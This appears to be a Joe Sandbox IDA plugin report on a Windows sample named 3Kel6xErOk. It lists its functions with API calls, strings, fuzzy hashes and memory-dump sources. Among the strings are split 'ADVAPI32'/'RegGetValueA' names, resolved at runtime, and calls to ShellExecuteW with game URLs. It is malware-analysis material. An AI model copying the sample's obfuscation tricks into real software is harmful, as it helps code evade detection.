Snapshot File: hcaresult_5_2_400000_3Kel6xErOk.jbxd

Similarity

API ID: Window$Monitorstd::condition_variable::notify_all$FindFromInfoRect
String ID: ($Shell_TrayWNd
API String ID: 2120261117-1820534096
Opcode ID: 1824b1af07e5553f43ef298e2f475f71d0bc413c88947e029fdf9713eea7325b
Instruction ID: 7db554ecf4b4cd0ede598b5de196db1fec886a8b3de83f8ac7fc368f44f04c23
Opcode Fuzzy Hash: 1824b1af07e5553f43ef298e2f475f71d0bc413c88947e029fdf9713eea7325b
Instruction Fuzzy Hash: 2E510B709003099FDB04EB95CC59FEEB7BABF48304F14502DF50AAB292DA75AD05CB69

Function 00429600 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 164COMMON

Download Yara Rule

APIs

std::_Container_base12::~_Container_base12.LIBCPMTD ref: 004296DE
std::_Container_base12::~_Container_base12.LIBCPMTD ref: 0042971A

Strings

.lnk, xrefs: 004297E0

Memory Dump Source

Source File: 00000005.00000002.2574005130.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2573981471.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574308032.0000000000638000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574796030.00000000006D8000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574816427.00000000006D9000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574832792.00000000006DE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574832792.00000000006E1000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574874826.00000000006E4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574893304.00000000006E7000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574906803.00000000006E9000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_3Kel6xErOk.jbxd

Similarity

API ID: Container_base12Container_base12::~_std::_
String ID: .lnk
API String ID: 1531518832-24824748
Opcode ID: b95990c3eec497f7a51621c2fc876c9790c5fdd0fdaa55ea4e69cb069ed05080
Instruction ID: 3d2b7e3dcf31272e321538e135ea9e2a97b38f7b8ec75432ea6eac60aa3b7917
Opcode Fuzzy Hash: b95990c3eec497f7a51621c2fc876c9790c5fdd0fdaa55ea4e69cb069ed05080
Instruction Fuzzy Hash: AF615EB1A102189FDB24EB60DC51BDEB778AF48308F5042DAA509672D1EF746F84CF95

Function 0046E180 Relevance: 15.9, APIs: 3, Strings: 6, Instructions: 155COMMON

Download Yara Rule

APIs

_fwprintf.LIBCONCRTD ref: 0046E232
std::_Container_base12::~_Container_base12.LIBCPMTD ref: 0046E273
_fwprintf.LIBCONCRTD ref: 0046E279

Strings

, xrefs: 0046E1D8
, xrefs: 0046E207
%lf, xrefs: 0046E229, 0046E26B
AF, xrefs: 0046E1A2, 0046E3D5
' is not a number., xrefs: 0046E2A2
, xrefs: 0046E1BC

Memory Dump Source

Source File: 00000005.00000002.2574005130.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2573981471.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574308032.0000000000638000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574796030.00000000006D8000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574816427.00000000006D9000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574832792.00000000006DE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574832792.00000000006E1000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574874826.00000000006E4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574893304.00000000006E7000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574906803.00000000006E9000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_3Kel6xErOk.jbxd

Similarity

API ID: _fwprintf$Container_base12Container_base12::~_std::_
String ID: $ $ $%lf$' is not a number.$AF
API String ID: 2058537511-3401663192
Opcode ID: da440efbdf0ef90b0ada4d90197c5a2e3b24bd4509ec24a587f180ee95fff5e5
Instruction ID: b8c60d2c91ecc0a114aa3d5cfa0e8dd073464704442bfbafb7cb14c1223c0683
Opcode Fuzzy Hash: da440efbdf0ef90b0ada4d90197c5a2e3b24bd4509ec24a587f180ee95fff5e5
Instruction Fuzzy Hash: 73613675900218EFDB24DF65CC91BDEB7B5AF49304F0082EEE40967282EB346A85CF56

Function 1000356A Relevance: 15.2, APIs: 10, Instructions: 151comCOMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(?), ref: 1000357C
CoInitialize.OLE32(00000000), ref: 10003583
CoCreateInstance.COMBASE(1001CAB8,00000000,00000001,1001CAA8,?), ref: 100035A5
SafeArrayAccessData.OLEAUT32(?,?), ref: 10003663
SafeArrayGetLBound.OLEAUT32(?,00000001,?), ref: 10003676
SafeArrayGetUBound.OLEAUT32(?,00000001,?), ref: 10003685

Memory Dump Source

Source File: 00000005.00000002.2576090454.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_10001000_3Kel6xErOk.jbxd

Similarity

API ID: ArraySafe$Bound$AccessCreateDataInitInitializeInstanceVariant
String ID:
API String ID: 1776067534-0
Opcode ID: c0c3d5d2c829e32bcd8bcd4ba14b769915719691fda59041b1900c6aa967e1cc
Instruction ID: 6a08fc82bc3730ba37a0e2c4be62a39793870260165c286fe321372d819fc844
Opcode Fuzzy Hash: c0c3d5d2c829e32bcd8bcd4ba14b769915719691fda59041b1900c6aa967e1cc
Instruction Fuzzy Hash: CE515D71A00619BFEB02DFA4CC88AAFBBBDEF45344F108459F901EB224D772DA058B50

Function 032A356E Relevance: 15.2, APIs: 10, Instructions: 151comCOMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(?), ref: 032A3580
CoInitialize.OLE32(00000000), ref: 032A3587
CoCreateInstance.COMBASE(1001CAB8,00000000,00000001,1001CAA8,?), ref: 032A35A9
SafeArrayAccessData.OLEAUT32(?,?), ref: 032A3667
SafeArrayGetLBound.OLEAUT32(?,00000001,?), ref: 032A367A
SafeArrayGetUBound.OLEAUT32(?,00000001,?), ref: 032A3689

Memory Dump Source

Source File: 00000005.00000002.2575734615.00000000032A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 032A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_32a0000_3Kel6xErOk.jbxd

Similarity

API ID: ArraySafe$Bound$AccessCreateDataInitInitializeInstanceVariant
String ID:
API String ID: 1776067534-0
Opcode ID: c0c3d5d2c829e32bcd8bcd4ba14b769915719691fda59041b1900c6aa967e1cc
Instruction ID: 8586587a3470b4b21dd9950c501bb481ad2000718375db1d11a775150159582d
Opcode Fuzzy Hash: c0c3d5d2c829e32bcd8bcd4ba14b769915719691fda59041b1900c6aa967e1cc
Instruction Fuzzy Hash: 65514E75A10619AFEB01DFA8CC88AEEBBB9EF49704F104455FE11EB220D771DA45CB50

Function 10002F16 Relevance: 14.1, APIs: 2, Strings: 6, Instructions: 72libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(?,?), ref: 10002F6E
GetProcAddress.KERNEL32(00000000), ref: 10002F75

Strings

PI32, xrefs: 10002F45
lueA, xrefs: 10002F64
ADVA, xrefs: 10002F3E
RegG, xrefs: 10002F56
etVa, xrefs: 10002F5D
.dll, xrefs: 10002F4C

Memory Dump Source

Source File: 00000005.00000002.2576090454.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_10001000_3Kel6xErOk.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: .dll$ADVA$PI32$RegG$etVa$lueA
API String ID: 2574300362-1882813265
Opcode ID: 992b54e621e4298502306d985922b6535659073c6f5a5d5f614955d1362188d0
Instruction ID: e549d43aef67382777316db0078eb220cca058ffe1a515555f97d50673392cdb
Opcode Fuzzy Hash: 992b54e621e4298502306d985922b6535659073c6f5a5d5f614955d1362188d0
Instruction Fuzzy Hash: 3A211D7190125EAFEB00DFA4D985AEEBBBCEF09284F204069E501B7241D7709E45CB74

Function 00444210 Relevance: 14.1, APIs: 3, Strings: 5, Instructions: 58libraryCOMMON

Download Yara Rule

APIs

DecodePointer.KERNEL32(?,?,?,0044453A,006DF004,?,?,?,00406B9A), ref: 00444222
LoadLibraryExA.KERNEL32(atlthunk.dll,00000000,00000800,?,?,?,0044453A,006DF004,?,?,?,00406B9A), ref: 0044423A
DecodePointer.KERNEL32(?), ref: 004442B6

Strings

AtlThunk_InitData, xrefs: 00444262
AtlThunk_DataToCode, xrefs: 00444279
AtlThunk_AllocateData, xrefs: 0044424B
AtlThunk_FreeData, xrefs: 00444290
atlthunk.dll, xrefs: 00444235

Memory Dump Source

Source File: 00000005.00000002.2574005130.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2573981471.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574308032.0000000000638000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574796030.00000000006D8000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574816427.00000000006D9000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574832792.00000000006DE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574832792.00000000006E1000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574874826.00000000006E4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574893304.00000000006E7000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574906803.00000000006E9000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_3Kel6xErOk.jbxd

Similarity

API ID: DecodePointer$LibraryLoad
String ID: AtlThunk_AllocateData$AtlThunk_DataToCode$AtlThunk_FreeData$AtlThunk_InitData$atlthunk.dll
API String ID: 1423960858-1745123996
Opcode ID: d630277fed336204855f5f64eff3b5670f7713e61bc0b494f07160bdeca84ecd
Instruction ID: e4499e4a4f5c7d26d926ed323af842a0960ee1c180787432559dc5a1d6cb5627
Opcode Fuzzy Hash: d630277fed336204855f5f64eff3b5670f7713e61bc0b494f07160bdeca84ecd
Instruction Fuzzy Hash: 890104309442206BFB116F909C06B9A3B977B817C4F0400D7FC457B3D3DAD9890891CA

Function 00438751 Relevance: 14.0, APIs: 7, Strings: 1, Instructions: 48COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00438758
std::_Lockit::_Lockit.LIBCPMT ref: 00438762

Part of subcall function 004150D0: std::_Lockit::_Lockit.LIBCPMT ref: 004150F0
Part of subcall function 004150D0: std::_Lockit::~_Lockit.LIBCPMT ref: 0041511A

std::locale::_Getfacet.LIBCPMTD ref: 00438782
std::bad_alloc::bad_alloc.LIBCMTD ref: 004387AB
__CxxThrowException@8.LIBVCRUNTIME ref: 004387B9
std::_Facet_Register.LIBCPMT ref: 004387CF
std::_Lockit::~_Lockit.LIBCPMT ref: 004387D8

Strings

p)n, xrefs: 0043876B

Memory Dump Source

Source File: 00000005.00000002.2574005130.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2573981471.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574308032.0000000000638000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574796030.00000000006D8000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574816427.00000000006D9000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574832792.00000000006DE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574832792.00000000006E1000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574874826.00000000006E4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574893304.00000000006E7000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574906803.00000000006E9000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_3Kel6xErOk.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Exception@8Facet_GetfacetH_prolog3RegisterThrowstd::bad_alloc::bad_allocstd::locale::_
String ID: p)n
API String ID: 2983029088-1174168310
Opcode ID: 86d894f820768e93adacf70fc5fc15a9c7f57fb1714317c2ea1d677a59c7838b
Instruction ID: d1238f1ec837450124d80dbeeb8e230b8e63765c62582b9417adcf961845fb72
Opcode Fuzzy Hash: 86d894f820768e93adacf70fc5fc15a9c7f57fb1714317c2ea1d677a59c7838b
Instruction Fuzzy Hash: AC01C432C006158BDF05EBA1CD51AEEB366AF48364F60041FF4116B2D1DF7C9A0587D9

Function 004387E5 Relevance: 14.0, APIs: 7, Strings: 1, Instructions: 48COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 004387EC
std::_Lockit::_Lockit.LIBCPMT ref: 004387F6

Part of subcall function 004150D0: std::_Lockit::_Lockit.LIBCPMT ref: 004150F0
Part of subcall function 004150D0: std::_Lockit::~_Lockit.LIBCPMT ref: 0041511A

std::locale::_Getfacet.LIBCPMTD ref: 00438816
std::bad_alloc::bad_alloc.LIBCMTD ref: 0043883F
__CxxThrowException@8.LIBVCRUNTIME ref: 0043884D
std::_Facet_Register.LIBCPMT ref: 00438863
std::_Lockit::~_Lockit.LIBCPMT ref: 0043886C

Strings

l)n, xrefs: 004387FF

Memory Dump Source

Source File: 00000005.00000002.2574005130.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2573981471.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574308032.0000000000638000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574796030.00000000006D8000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574816427.00000000006D9000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574832792.00000000006DE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574832792.00000000006E1000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574874826.00000000006E4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574893304.00000000006E7000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574906803.00000000006E9000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_3Kel6xErOk.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Exception@8Facet_GetfacetH_prolog3RegisterThrowstd::bad_alloc::bad_allocstd::locale::_
String ID: l)n
API String ID: 2983029088-1354774754
Opcode ID: c7bdf7a17674979ac745dcae903d9123b07f008d93cb13a362361f2a5854035e
Instruction ID: 1aa4bf181933450ae38c7694fce4db0c8c4686383d46f63194c62c679e2274d6
Opcode Fuzzy Hash: c7bdf7a17674979ac745dcae903d9123b07f008d93cb13a362361f2a5854035e
Instruction Fuzzy Hash: 1D01AD728006158BDB04FBA1DC52AEEB365AF48314F90091FF511AB291DFBC9A0687D8

Function 00425390 Relevance: 13.6, APIs: 9, Instructions: 136COMMON

Download Yara Rule

APIs

Part of subcall function 00404090: Concurrency::details::ContextBase::GetWorkQueueIdentity.LIBCMTD ref: 004040A1
Part of subcall function 00404090: Concurrency::details::ContextBase::GetWorkQueueIdentity.LIBCMTD ref: 004040AE

Concurrency::details::ContextBase::GetWorkQueueIdentity.LIBCMTD ref: 004253B4

Part of subcall function 00425510: Concurrency::details::ContextBase::GetWorkQueueIdentity.LIBCMTD ref: 004255C9
Part of subcall function 00425510: Concurrency::details::ContextBase::GetWorkQueueIdentity.LIBCMTD ref: 004255D8
Part of subcall function 00425510: char_traits.LIBCPMTD ref: 004255E4

Concurrency::details::ContextBase::GetWorkQueueIdentity.LIBCMTD ref: 0042543A
Concurrency::details::ContextBase::GetWorkQueueIdentity.LIBCMTD ref: 0042544F
char_traits.LIBCPMTD ref: 00425461
Concurrency::details::ContextBase::GetWorkQueueIdentity.LIBCMTD ref: 004254AC
Concurrency::details::ContextBase::GetWorkQueueIdentity.LIBCMTD ref: 004254C1
char_traits.LIBCPMTD ref: 004254D3
Concurrency::details::ContextBase::GetWorkQueueIdentity.LIBCMTD ref: 004254E6
char_traits.LIBCPMTD ref: 004254F2

Memory Dump Source

Source File: 00000005.00000002.2574005130.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2573981471.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574308032.0000000000638000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574796030.00000000006D8000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574816427.00000000006D9000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574832792.00000000006DE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574832792.00000000006E1000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574874826.00000000006E4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574893304.00000000006E7000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574906803.00000000006E9000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_3Kel6xErOk.jbxd

Similarity

API ID: Base::Concurrency::details::ContextIdentityQueueWork$char_traits
String ID:
API String ID: 1941806930-0
Opcode ID: 87a84c5dfc7b1da3e97acc6786029c8a4d44a2a8b190ce7837b0c5f96d66a24f
Instruction ID: 061a60ad5c7e411c0f4f0e06d20bde431f8b3229ee3095957f15769c73dcf57b
Opcode Fuzzy Hash: 87a84c5dfc7b1da3e97acc6786029c8a4d44a2a8b190ce7837b0c5f96d66a24f
Instruction Fuzzy Hash: A5513170A0001DEFCB04EF99E591D9E73B6AF88344F10816DF905AB2A5DB34AF50CB94

Function 1000AAB0 Relevance: 13.6, APIs: 9, Instructions: 117memorystringCOMMON

Download Yara Rule

APIs

lstrlen.KERNEL32(10002554,100200B0,?,00000000,00000000,?,100016A6,?,00000004,10002554,?), ref: 1000AAF7
MultiByteToWideChar.KERNEL32(00000000,00000000,10002554,00000001,00000000,00000000,?,100016A6,?,00000004,10002554,?), ref: 1000AB0D
GetLastError.KERNEL32(?,100016A6,?,00000004,10002554,?), ref: 1000AB1C
MultiByteToWideChar.KERNEL32(00000000,00000000,10002554,00000001,00000000,00000000,?,?,100016A6,?,00000004,10002554), ref: 1000ABAB
_free.LIBCMT ref: 1000ABBE
GetLastError.KERNEL32(?,?,100016A6,?,00000004,10002554), ref: 1000ABC6
SysAllocString.OLEAUT32(00000000), ref: 1000ABE1
_free.LIBCMT ref: 1000ABF2

Memory Dump Source

Source File: 00000005.00000002.2576090454.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_10001000_3Kel6xErOk.jbxd

Similarity

API ID: ByteCharErrorLastMultiWide_free$AllocStringlstrlen
String ID:
API String ID: 2233872252-0
Opcode ID: 4c53493cbc04880dd37c78f945c7fd5dcb8dac27a8cb586a26f3fb5a279c5aeb
Instruction ID: 7a9aabcc70d3fdf9ab92ec66efeb58e3645fa49096dc95b045ab2c4300f8d26f
Opcode Fuzzy Hash: 4c53493cbc04880dd37c78f945c7fd5dcb8dac27a8cb586a26f3fb5a279c5aeb
Instruction Fuzzy Hash: 1541F372D00319ABF710DF648C45F9F7BA9EB497E0F118229F805E7286D774AA8087A1

Function 032AAAB4 Relevance: 13.6, APIs: 9, Instructions: 117memorystringCOMMON

Download Yara Rule

APIs

lstrlen.KERNEL32(032A2558,100200B0,?,00000000,00000000,?,032A16AA,?,00000004,032A2558,?), ref: 032AAAFB
MultiByteToWideChar.KERNEL32(00000000,00000000,032A2558,00000001,00000000,00000000,?,032A16AA,?,00000004,032A2558,?), ref: 032AAB11
GetLastError.KERNEL32(?,032A16AA,?,00000004,032A2558,?), ref: 032AAB20
MultiByteToWideChar.KERNEL32(00000000,00000000,032A2558,00000001,00000000,00000000,?,?,032A16AA,?,00000004,032A2558), ref: 032AABAF
_free.LIBCMT ref: 032AABC2
GetLastError.KERNEL32(?,?,032A16AA,?,00000004,032A2558), ref: 032AABCA
SysAllocString.OLEAUT32(00000000), ref: 032AABE5
_free.LIBCMT ref: 032AABF6

Memory Dump Source

Source File: 00000005.00000002.2575734615.00000000032A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 032A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_32a0000_3Kel6xErOk.jbxd

Similarity

API ID: ByteCharErrorLastMultiWide_free$AllocStringlstrlen
String ID:
API String ID: 2233872252-0
Opcode ID: ddbe7017c1df06839c6bc5b3ff729aa7816e3d3f023352de6ff8d7f0f77a7cd0
Instruction ID: e541294d9da71868bf822229e58f61c3d2563db0612955bdb741457fa6ec1205
Opcode Fuzzy Hash: ddbe7017c1df06839c6bc5b3ff729aa7816e3d3f023352de6ff8d7f0f77a7cd0
Instruction Fuzzy Hash: 81411675D20B19ABE710DF6CCD44BAEBBA9EF08750F104529F805EB280D7B89580C7A0

Function 0042BF50 Relevance: 13.6, APIs: 9, Instructions: 103COMMON

Download Yara Rule

APIs

Concurrency::details::ContextBase::GetWorkQueueIdentity.LIBCMTD ref: 0042BFE2
Concurrency::details::ContextBase::GetWorkQueueIdentity.LIBCMTD ref: 0042BFEE
char_traits.LIBCPMTD ref: 0042BFFA
Concurrency::details::ContextBase::GetWorkQueueIdentity.LIBCMTD ref: 0042C02A
Concurrency::details::ContextBase::GetWorkQueueIdentity.LIBCMTD ref: 0042C036
char_traits.LIBCPMTD ref: 0042C03F
Concurrency::details::ContextBase::GetWorkQueueIdentity.LIBCMTD ref: 0042C050
Concurrency::details::ContextBase::GetWorkQueueIdentity.LIBCMTD ref: 0042C05C
char_traits.LIBCPMTD ref: 0042C065

Memory Dump Source

Source File: 00000005.00000002.2574005130.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2573981471.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574308032.0000000000638000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574796030.00000000006D8000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574816427.00000000006D9000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574832792.00000000006DE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574832792.00000000006E1000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574874826.00000000006E4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574893304.00000000006E7000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574906803.00000000006E9000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_3Kel6xErOk.jbxd

Similarity

API ID: Base::Concurrency::details::ContextIdentityQueueWork$char_traits
String ID:
API String ID: 1941806930-0
Opcode ID: 5e691151594bb22f3c913904a61cc1fa1df55c1f342c6b9c15fd1ad0749cbb46
Instruction ID: b4a10b89bfb74bdd3a3d80b8f80dc9338c08f17d4e7e93db9127393a8712e5d2
Opcode Fuzzy Hash: 5e691151594bb22f3c913904a61cc1fa1df55c1f342c6b9c15fd1ad0749cbb46
Instruction Fuzzy Hash: 29411DB5A00108EFCB04EF95E9D2EEE73B5AF88304F10455DF905A7251DB34AE50DBA8

Function 0040A570 Relevance: 12.4, APIs: 8, Instructions: 433COMMON

Download Yara Rule

APIs

IsWindow.USER32(?), ref: 0040A5E6
GetSysColor.USER32(0000000F), ref: 0040A62F

Memory Dump Source

Source File: 00000005.00000002.2574005130.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2573981471.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574308032.0000000000638000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574796030.00000000006D8000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574816427.00000000006D9000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574832792.00000000006DE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574832792.00000000006E1000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574874826.00000000006E4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574893304.00000000006E7000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574906803.00000000006E9000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_3Kel6xErOk.jbxd

Similarity

API ID: ColorWindow
String ID:
API String ID: 4045458706-0
Opcode ID: b33a095b84e0d5f33643cabd0cb407c87df5d22c84fc419c9835b68005a9abb7
Instruction ID: 5e0aa7bb8e4b14d111e9686aa66e1645495e77a0763bea4f3e61e1323242fd66
Opcode Fuzzy Hash: b33a095b84e0d5f33643cabd0cb407c87df5d22c84fc419c9835b68005a9abb7
Instruction Fuzzy Hash: 43026171A002099FDB08DF95C895BAEB775EF44304F10812EF906AB2D5DB38AD81CB95

Function 00429E30 Relevance: 12.4, APIs: 3, Strings: 4, Instructions: 162COMMON

Download Yara Rule

APIs

_strstr.LIBCMT ref: 00429E64
std::_Container_base12::~_Container_base12.LIBCPMTD ref: 00429F1E
std::_Container_base12::~_Container_base12.LIBCPMTD ref: 00429F56

Strings

http://hook.test, xrefs: 00429E5B
text/html, xrefs: 00429FA6
"test1111", xrefs: 00429FBA
http://localhost:12222, xrefs: 00429F91

Memory Dump Source

Source File: 00000005.00000002.2574005130.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2573981471.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574308032.0000000000638000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574796030.00000000006D8000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574816427.00000000006D9000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574832792.00000000006DE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574832792.00000000006E1000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574874826.00000000006E4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574893304.00000000006E7000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574906803.00000000006E9000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_3Kel6xErOk.jbxd

Similarity

API ID: Container_base12Container_base12::~_std::_$_strstr
String ID: "test1111"$http://hook.test$http://localhost:12222$text/html
API String ID: 1961679310-2114329223
Opcode ID: e2fddb51c1f28521b7e2a4d4050bc6bf70f867f68c9ea7c547293452e01ccf19
Instruction ID: 93df884d891d161cb31ff2107069df1ffcf3a46d25947dfc6e7894e12594b13d
Opcode Fuzzy Hash: e2fddb51c1f28521b7e2a4d4050bc6bf70f867f68c9ea7c547293452e01ccf19
Instruction Fuzzy Hash: AF61ACB0E04348DFCB14DFA4E845BEEBBB5BF10304F50416EE8156B282DB796A49CB56

Function 00429410 Relevance: 12.4, APIs: 2, Strings: 5, Instructions: 129COMMON

Download Yara Rule

APIs

Part of subcall function 00414B20: _wcsstr.LIBVCRUNTIME ref: 00414B2B

ShellExecuteW.SHELL32(00000000,OPEN,?,00000000,00000000,00000001), ref: 00429501
GetModuleFileNameW.KERNEL32(00000000,?,00000104), ref: 00429539

Strings

http://pc.game.iqiyi.com/game, xrefs: 004294BD
http://pc.game.iqiyi.com/home, xrefs: 004294A5
OPEN, xrefs: 004294FA
pc.game.iqiyi.com/togame, xrefs: 0042948D
http://pc.game.iqiyi.com/flash, xrefs: 004294D5

Memory Dump Source

Source File: 00000005.00000002.2574005130.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2573981471.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
